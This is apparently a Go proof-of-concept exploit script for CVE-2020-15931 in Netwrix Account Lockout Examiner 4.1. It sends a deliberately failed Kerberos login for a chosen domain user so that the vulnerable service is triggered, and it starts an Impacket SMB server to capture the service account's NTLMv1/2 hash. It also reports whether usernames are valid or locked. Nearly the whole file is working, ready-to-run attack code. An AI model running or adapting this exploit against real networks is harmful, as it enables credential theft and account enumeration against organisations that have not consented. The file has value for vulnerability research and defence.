// Version : 1.0 // Created date : 08/13/2020 // Last update : 08/13/2020 // Authors : Daniel Min (@bigb0ss) & Robert Surace (@robSauce) // Description : Proof-of-Concept Exploit Script for CVE-2020-15931 package main import ( "flag" "fmt" "os" "strings" "log" "os/exec" "github.com/fatih/color" kclient "github.com/ropnop/gokrb5/client" kconfig "github.com/ropnop/gokrb5/config" ) type Authenticator interface { Login() (string, string, error) } const ( usage = ` Required: -d Domain name -dc Domain controller -u Valid username Optional: -h Print this help menu Example: ./cve-2020-15931 -d target.com -dc 10.10.0.2 -u jsmith ` KERB_FMT_STRING = `[libdefaults] default_realm = ${REALM} dns_lookup_realm = false dns_lookup_kdc = true [realms] %s = { kdc = %s }` ) type FlagOptions struct { help bool username string domain string password string dc string } func banner() { banner := ` _______ ________ ___ ___ ___ ___ __ _____ ___ ____ __ / ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ | | | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || | | | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | | | |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || | \_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_| [robSauce & bigb0ss] v1.0 [+] Netwrix Account Lockout Examiner 4.1 Exploit Script ` color.White(banner) } func options() *FlagOptions { username := flag.String("u","","Username") domain := flag.String("d","","Domain Name") dc := flag.String("dc","","Domain controller") help := flag.Bool("h", false, "Help Menu") flag.Parse() return &FlagOptions{help: *help, username: *username, domain: *domain, dc: *dc} } func kerbAuth(username string, domain string, domainController string) string { var dom = domain var user = username var pass = "wrongPass" // Wrong Password var dc = domainController var payload string = "[+] DC: \t" + dc + "\n" payload+= "[+] Domain: \t" + dom + "\n" payload+= "[+] Username: \t" + user + "\n" payload+= "[+] Password: \t" + pass + "\n" // Formats the config per the RFC standard kcfg_str := fmt.Sprintf(KERB_FMT_STRING, dom, dc) cfg, err := kconfig.NewConfigFromString(kcfg_str) cl := kclient.NewClientWithPassword(user, dom, pass, cfg, kclient.DisablePAFXFAST(true)) err = cl.Login() if err != nil { if strings.Contains(err.Error(), "Networking_Error: AS Exchange Error") { color.Red("[-] Can't connect to DC\n") os.Exit(1) } else if strings.Contains(err.Error(), "KRB_AP_ERR_SKEW") { color.Red("[-] Cannot connect to DC\n") os.Exit(1) } else if strings.Contains(err.Error(), "KDC_ERR_C_PRINCIPAL_UNKNOWN") { color.Green(payload) color.Yellow("[-] User is NOT valid!\n") os.Exit(1) } else if strings.Contains(err.Error(), "KDC_ERR_CLIENT_REVOKED") { color.Green(payload) color.Yellow("[-] User is locked!\n") os.Exit(1) } else if strings.Contains(err.Error(), "KDC_ERR_PREAUTH_FAILED") { payload+= "[+] Event ID 4771 (Kerberos Pre-Authentication Failed) Triggered!\n" color.Green(payload) color.Cyan("[+] If vulnerable, you will get a NTLMv1/2 of the Netwrix service account.\n") } else { fmt.Println(payload) } } return payload } func smb() { smbServer := exec.Command("smbserver.py","test","/tmp","-smb2support") smbServer.Stdout = os.Stdout smbServer.Stderr = os.Stderr log.Println(smbServer.Run()) } func main (){ banner() opt := options() if opt.help{ fmt.Println(usage) os.Exit(0) } if opt.username == "" || opt.domain == "" || opt.dc == "" { fmt.Println(usage) os.Exit(0) } kerbAuth(opt.username, opt.domain, opt.dc) // SMB Server (Impacket smbserver.py) fmt.Println("[+] SMB Server Started...") smb() }